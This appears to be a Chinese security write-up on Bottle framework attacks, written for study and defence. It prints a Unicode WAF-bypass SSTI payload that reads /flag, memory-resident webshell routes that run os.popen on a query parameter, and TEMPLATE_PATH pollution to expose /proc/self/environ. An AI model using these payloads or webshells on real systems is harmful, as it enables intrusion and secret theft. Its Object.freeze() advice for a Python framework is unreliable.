Bottle框架安全漏洞深入分析：SSTI、内存马与原型链污染<\/h1>

1. Bottle框架SSTI漏洞分析<\/h2>

1.1 基本模板语法<\/h3>
Bottle框架自带SimpleTemplate引擎，支持多种模板语法：<\/p>
{{}}<\/code>：标准模板语法<\/li>
<%%><\/code>：替代语法<\/li>
%<\/code>：简化语法（需要换行符分隔）<\/li>
<\/ul>
注意<\/strong>：当模板内容嵌入普通文本中（无换行符分隔）时，<%<\/code>或%<\/code>会被视为普通文本直接输出。<\/p>
1.2 特殊字符绕过技术<\/h3>
在Bottle SSTI中，发现可以使用Unicode字符替换特定ASCII字符绕过WAF：<\/p>

o<\/code> → º<\/code> (U+00BA, URL编码: %C2%BA)<\/li>
a<\/code> → ª<\/code> (U+00AA, URL编码: %C2%AA)<\/li>
<\/ul>
利用方法<\/strong>：<\/p>

构造payload时使用特殊字符替换<\/li>
在URL编码中删除%C2<\/code>部分<\/li>
示例：
\/attack?payload={{%BApen(%27\/flag%27).read()}}
<\/code><\/pre>
<\/li>
<\/ol>
1.3 斜体字符利用<\/h3>
研究发现Bottle框架对斜体字符处理存在缺陷：<\/p>

原理<\/strong>：Bottle的touni()<\/code>函数在Python3下将所有输入转为str类型，不进行严格字符校验<\/li>
利用条件<\/strong>：

需要直接传入斜体字符到模板中（非URL编码形式）<\/li>
可通过文件上传等非URL编码方式实现<\/li>
<\/ul>
<\/li>
斜体字符生成器<\/strong>：https:\/\/exotictext.com\/zh-cn\/italic\/<\/li>
<\/ol>
有效字符<\/strong>：<\/p>

ª<\/code> (U+00AA)<\/li>
º<\/code> (U+00BA)<\/li>
¹<\/code> (U+00B9)<\/li>
²<\/code> (U+00B2)<\/li>
³<\/code> (U+00B3)<\/li>
<\/ul>
其中只有ª<\/code>和º<\/code>能正确执行，等效于a<\/code>和o<\/code>。<\/p>
1.4 源码分析<\/h3>


模板处理流程<\/strong>：<\/p>

bottle.template()<\/code> → SimpleTemplate<\/code> → render()<\/code><\/li>
最终通过exec(self.co, env)<\/code>执行模板代码<\/li>
<\/ul>
<\/li>

关键函数<\/strong>：<\/p>

touni()<\/code>：输入转换<\/li>
StplParser.translate()<\/code>：模板语法转换<\/li>
flush_text()<\/code>：文本处理<\/li>
process_inline()<\/code>：内联代码处理<\/li>
<\/ul>
<\/li>

安全缺陷<\/strong>：<\/p>

缺乏严格的字符过滤<\/li>
Unicode字符处理不当<\/li>
执行环境隔离不足<\/li>
<\/ul>
<\/li>
<\/ol>
2. Bottle内存马技术<\/h2>
2.1 自定义路由实现RCE<\/h3>
通过自定义路由可以实现内存驻留的Webshell：<\/p>
@route<\/span>('\/malicious'<\/span>)
<\/span><\/span>def<\/span> malicious<\/span>():
<\/span><\/span>    return<\/span> os.<\/span>popen(request.<\/span>query.<\/span>cmd).<\/span>read()
<\/span><\/span><\/code><\/pre>2.2 路由机制分析<\/h3>


route装饰器<\/strong>：<\/p>

默认方法为GET<\/li>
可接受函数、字符串等可调用对象<\/li>
<\/ul>
<\/li>

lambda表达式利用<\/strong>：<\/p>
route('\/cmd'<\/span>, 'GET'<\/span>, lambda<\/span>: os.<\/span>popen(request.<\/span>query.<\/span>cmd).<\/span>read())
<\/span><\/span><\/code><\/pre><\/li>

hook机制<\/strong>：<\/p>

after_request<\/code>等hook点可被利用<\/li>
通过add_hook<\/code>函数添加恶意hook<\/li>
<\/ul>
<\/li>
<\/ol>
2.3 响应头操控<\/h3>
通过继承BaseResponse<\/code>类或直接操作响应头实现持久化控制：<\/p>
def<\/span> malicious<\/span>():
<\/span><\/span>    response.<\/span>set_header('X-Malicious'<\/span>, 'true'<\/span>)
<\/span><\/span>    return<\/span> "Normal content"<\/span>
<\/span><\/span><\/code><\/pre>3. 原型链污染攻击<\/h2>
3.1 TEMPLATE_PATH污染<\/h3>
通过污染bottle.TEMPLATE_PATH<\/code>改变模板渲染路径：<\/p>
bottle.<\/span>TEMPLATE_PATH =<\/span> '\/proc\/self\/'<\/span>
<\/span><\/span><\/code><\/pre>利用效果<\/strong>：<\/p>

访问template('environ')<\/code>将渲染\/proc\/self\/environ<\/code><\/li>
可读取系统敏感信息<\/li>
<\/ul>
3.2 污染原理分析<\/h3>


关键代码<\/strong>：<\/p>
lookup =<\/span> kwargs.<\/span>pop('template_lookup'<\/span>, TEMPLATE_PATH)
<\/span><\/span><\/code><\/pre><\/li>

缓存机制<\/strong>：<\/p>

模板未缓存或DEBUG=True<\/code>时重新加载<\/li>
直接使用污染后的TEMPLATE_PATH<\/code>路径<\/li>
<\/ul>
<\/li>

利用条件<\/strong>：<\/p>

能够控制TEMPLATE_PATH<\/code>变量<\/li>
有调用template()<\/code>函数的能力<\/li>
<\/ul>
<\/li>
<\/ol>
4. 防御措施<\/h2>
4.1 SSTI防御<\/h3>

严格过滤模板输入<\/li>
禁用危险模板语法<\/li>
升级到最新版本<\/li>
<\/ol>
4.2 内存马防御<\/h3>

监控路由注册行为<\/li>
限制动态路由创建<\/li>
定期检查已注册路由<\/li>
<\/ol>
4.3 原型链污染防御<\/h3>

冻结关键配置对象<\/li>
使用Object.freeze()<\/code>保护配置<\/li>
最小化暴露的配置接口<\/li>
<\/ol>
5. 总结<\/h2>
Bottle框架由于其轻量级设计，在安全性方面存在多个关键问题：<\/p>

SSTI漏洞利用方式多样，包括特殊字符绕过和斜体字符利用<\/li>
路由机制灵活性导致内存马风险<\/li>
配置对象可被污染导致路径穿越<\/li>
<\/ol>
安全开发中应特别注意这些风险点，采取相应防护措施。<\/p>